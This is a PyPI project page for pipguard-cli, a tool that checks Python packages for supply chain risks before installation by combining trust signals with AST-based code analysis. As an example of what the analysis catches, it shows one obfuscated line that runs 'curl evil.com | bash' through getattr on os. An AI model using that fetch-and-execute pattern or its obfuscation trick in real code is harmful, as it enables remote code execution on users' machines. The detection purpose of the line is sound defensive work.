Skip to main content

Supply chain attack prevention for pip installs

Project description

pipguard-cli

Supply chain attack prevention for pip installs. Analyzes Python packages for security risks before they touch your system.

pip install pipguard-cli
pipguard configure

From that point on, every pip install automatically runs through pipguard.


The Problem

Supply chain attacks on Python packages are increasing — fake packages stealing API keys, compromised maintainer accounts pushing backdoors, typosquatted names targeting developers who mistype. The data to detect these threats exists across PyPI, OSV.dev, and GitHub. The problem is nobody checks before installing.

pipguard makes checking automatic.


How It Works

Every pip install triggers a two-layer analysis before anything downloads:

Layer 1 — Trust signals (no download required)

  • Package age and version history
  • Maintainer account signals
  • Download spike detection
  • Known CVEs via OSV.dev
  • GitHub repo presence

Layer 2 — Static code analysis (AST-based)

  • Downloads the source tarball
  • Analyzes setup.py, pyproject.toml, __init__.py without executing anything
  • Detects network calls, env variable access, shell execution, base64 obfuscation, home directory access

Results are combined into a risk score:

0–30   → LOW RISK     — installs automatically
31–60  → MEDIUM RISK  — asks for confirmation
61+    → HIGH RISK    — blocked, requires explicit override

Example Output

$ pip install some-package

Analyzing some-package...

──────────────────── TRUST SCORE ────────────────────
  Package age:       12d   🔴
  GitHub repo:       🔴 none
  Download spike:    normal  ✅
  Known vulns:       ✅ none

──────────────────── CODE ANALYSIS ──────────────────
  Network requests:  🔴 FOUND
  Env var access:    🔴 FOUND
  Shell execution:   ✅ NOT FOUND
  Base64 obfuscation:✅ NOT FOUND
  Home dir access:   ✅ NOT FOUND

──────────────────────────────────────────────────────
  VERDICT:  🔴 HIGH RISK  (Score: 75)
──────────────────────────────────────────────────────

Proceed anyway? [y/N]

Installation

pip install pipguard-cli
pipguard configure

configure writes a shell function to your profile that intercepts pip install. Works on bash, zsh, fish, and PowerShell. Close and reopen your terminal after running it.

To update pipguard itself, bypass the shell function:

python -m pip install pipguard-cli --upgrade

Commands

pipguard install <package>             # analyze then install
pipguard info <package>                # report only, no install
pipguard scan                          # scan requirements.txt
pipguard scan --ci --fail-on medium    # CI mode, exits 1 on threshold
pipguard history                       # recent scan results
pipguard update --force                # clear CVE cache immediately
pipguard configure                     # set up shell interception

CI/CD

# GitHub Actions example
- name: Scan dependencies
  run: pipguard scan --ci --fail-on high

Exits with code 1 if any package meets the fail threshold, blocking the pipeline.


Why AST over grep

pipguard uses Python's AST parser instead of string matching. This catches obfuscated patterns that grep misses:

# grep misses this, AST catches it
getattr(os, 'sys'+'tem')('curl evil.com | bash')

Caching

Results are cached locally at ~/.pipguard/cache.db — trust scores for 24 hours, CVE data for 6 hours. Repeat installs of the same package are instant. Use --no-cache to force a fresh check, or pipguard update --force to immediately refresh vulnerability data after a major security event.


vs. Existing Tools

Tool Gap
pip audit Only known CVEs — misses new malicious packages
socket.dev Not a CLI intercept, requires separate workflow
OSV.dev Database only, no workflow integration
Dependabot Reacts after install, not before
pipguard Intercepts at install, combines trust signals + AST analysis

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pipguard_cli-0.1.3.tar.gz (13.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pipguard_cli-0.1.3-py3-none-any.whl (14.3 kB view details)

Uploaded Python 3

File details

Details for the file pipguard_cli-0.1.3.tar.gz.

File metadata

  • Download URL: pipguard_cli-0.1.3.tar.gz
  • Upload date:
  • Size: 13.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for pipguard_cli-0.1.3.tar.gz
Algorithm Hash digest
SHA256 55d8e5e37726dd2c019624a80a2dc41bbec7ca6f51ba7435ddae50443ee6a98a
MD5 fd403c3e77ceadc1b561584b114f9589
BLAKE2b-256 0baad755940488c6e516e743df017bf2c6cce9e7e08cd82dec6383a18ba07be6

See more details on using hashes here.

File details

Details for the file pipguard_cli-0.1.3-py3-none-any.whl.

File metadata

  • Download URL: pipguard_cli-0.1.3-py3-none-any.whl
  • Upload date:
  • Size: 14.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for pipguard_cli-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 ff7e419fa34cef3106837ec5e895aab6ec6cc6c6264d2b19d884684c3b3a534f
MD5 d3e017df976553ef53a9a09a2a08c32f
BLAKE2b-256 f96835da030b98b842c8a4c3b2aca4af32a26241aa77f61e6d2852ea19fbf7f7

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page